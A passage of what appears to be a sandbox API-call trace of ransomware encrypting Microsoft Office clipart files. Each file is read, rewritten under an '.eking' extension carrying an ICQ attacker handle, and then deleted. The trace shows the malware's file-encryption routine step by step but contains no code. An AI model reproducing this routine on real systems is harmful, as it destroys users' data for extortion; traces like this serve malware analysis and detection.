office\\root\\clipart\\pub60cor\\ag00139_.gif")) returned 0 [0254.934] SetEvent (hEvent=0x2b8) returned 1 [0254.934] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0254.936] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=15308) returned 1 [0254.936] CloseHandle (hObject=0x3a0) returned 1 [0254.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 0x220 [0254.936] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 0x220 [0254.937] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0254.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0254.937] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0254.937] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0254.937] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x374 [0255.235] ReadFile (in: hFile=0x3a0, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x3bcc, lpOverlapped=0x0) returned 1 [0255.238] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x3bd0, lpOverlapped=0x0) returned 1 [0255.240] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0255.240] CloseHandle (hObject=0x3a0) returned 1 [0255.240] CloseHandle (hObject=0x374) returned 1 [0255.241] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 0 [0255.241] SetEvent (hEvent=0x2b8) returned 1 [0255.242] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0255.245] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=7583) returned 1 [0255.245] CloseHandle (hObject=0x374) returned 1 [0255.245] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 0x220 [0255.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 0x220 [0255.246] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0255.246] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0255.246] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0255.247] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0255.247] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x3a0 [0255.248] ReadFile (in: hFile=0x374, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x1d9f, lpOverlapped=0x0) returned 1 [0255.250] WriteFile (in: hFile=0x3a0, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1da0, lpOverlapped=0x0) returned 1 [0255.251] WriteFile (in: hFile=0x3a0, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0255.252] CloseHandle (hObject=0x374) returned 1 [0255.252] CloseHandle (hObject=0x3a0) returned 1 [0255.252] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00161_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00161_.gif")) returned 0 [0255.253] SetEvent (hEvent=0x2b8) returned 1 [0255.254] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0255.254] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=6984) returned 1 [0255.254] CloseHandle (hObject=0x3a0) returned 1 [0255.254] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 0x220 [0255.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 0x220 [0255.255] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0255.255] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0255.255] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0255.256] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0255.256] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x374 [0255.256] ReadFile (in: hFile=0x3a0, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x1b48, lpOverlapped=0x0) returned 1 [0255.260] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1b50, lpOverlapped=0x0) returned 1 [0255.262] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0255.262] CloseHandle (hObject=0x3a0) returned 1 [0255.262] CloseHandle (hObject=0x374) returned 1 [0255.593] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 0 [0255.593] SetEvent (hEvent=0x2b8) returned 1 [0255.594] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0255.595] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=9248) returned 1 [0255.595] CloseHandle (hObject=0x374) returned 1 [0255.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 0x220 [0255.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 0x220 [0255.596] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0255.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0255.597] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0255.597] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0255.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0255.600] ReadFile (in: hFile=0x374, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x2420, lpOverlapped=0x0) returned 1 [0255.603] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x2430, lpOverlapped=0x0) returned 1 [0255.605] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0255.605] CloseHandle (hObject=0x374) returned 1 [0255.605] CloseHandle (hObject=0x394) returned 1 [0255.606] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 0 [0255.606] SetEvent (hEvent=0x2b8) returned 1 [0255.606] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0255.608] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=5016) returned 1 [0255.608] CloseHandle (hObject=0x394) returned 1 [0255.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 0x220 [0255.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 0x220 [0255.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0255.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0255.609] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0255.609] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0255.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x374 [0255.613] ReadFile (in: hFile=0x394, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x1398, lpOverlapped=0x0) returned 1 [0255.615] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x13a0, lpOverlapped=0x0) returned 1 [0255.617] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0255.617] CloseHandle (hObject=0x394) returned 1 [0255.618] CloseHandle (hObject=0x374) returned 1 [0255.619] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 0 [0255.619] SetEvent (hEvent=0x2b8) returned 1 [0255.619] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0255.621] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=4390) returned 1 [0255.621] CloseHandle (hObject=0x374) returned 1 [0255.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 0x220 [0255.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 0x220 [0255.621] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0255.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0255.622] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0255.622] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0255.622] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x394 [0255.623] ReadFile (in: hFile=0x374, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0x1126, lpOverlapped=0x0) returned 1 [0255.626] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0x1130, lpOverlapped=0x0) returned 1 [0255.628] WriteFile (in: hFile=0x394, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0255.629] CloseHandle (hObject=0x374) returned 1 [0255.629] CloseHandle (hObject=0x394) returned 1 [0255.630] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 0 [0255.630] SetEvent (hEvent=0x2b8) returned 1 [0255.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0255.632] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2f9f7e8 | out: lpFileSize=0x2f9f7e8*=3966) returned 1 [0255.633] CloseHandle (hObject=0x394) returned 1 [0255.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 0x220 [0255.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 0x220 [0255.633] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0255.633] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0255.634] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0255.634] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9f7b0 | out: lpNewFilePointer=0x0) returned 1 [0255.634] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x220, hTemplateFile=0x0) returned 0x374 [0255.635] ReadFile (in: hFile=0x394, lpBuffer=0x346e020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f9f7bc, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesRead=0x2f9f7bc*=0xf7e, lpOverlapped=0x0) returned 1 [0255.933] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf80, lpOverlapped=0x0) returned 1 [0255.936] WriteFile (in: hFile=0x374, lpBuffer=0x346e020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f9f7a0, lpOverlapped=0x0 | out: lpBuffer=0x346e020*, lpNumberOfBytesWritten=0x2f9f7a0*=0xf2, lpOverlapped=0x0) returned 1 [0255.936] CloseHandle (hObject=0x394) returned 1 [0255.937] CloseHandle (hObject=0x374) returned 1 [0255.937] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00174_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00174_.gif")) returned 0 [0255.939] SetEvent (hEvent=0x2b8) returned 1 [0255.939] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AN00790_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\an00790_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0255.942] GetFileSizeEx (in: hFile=0x374, lpFileSize=0x2f9f7e8 | out: 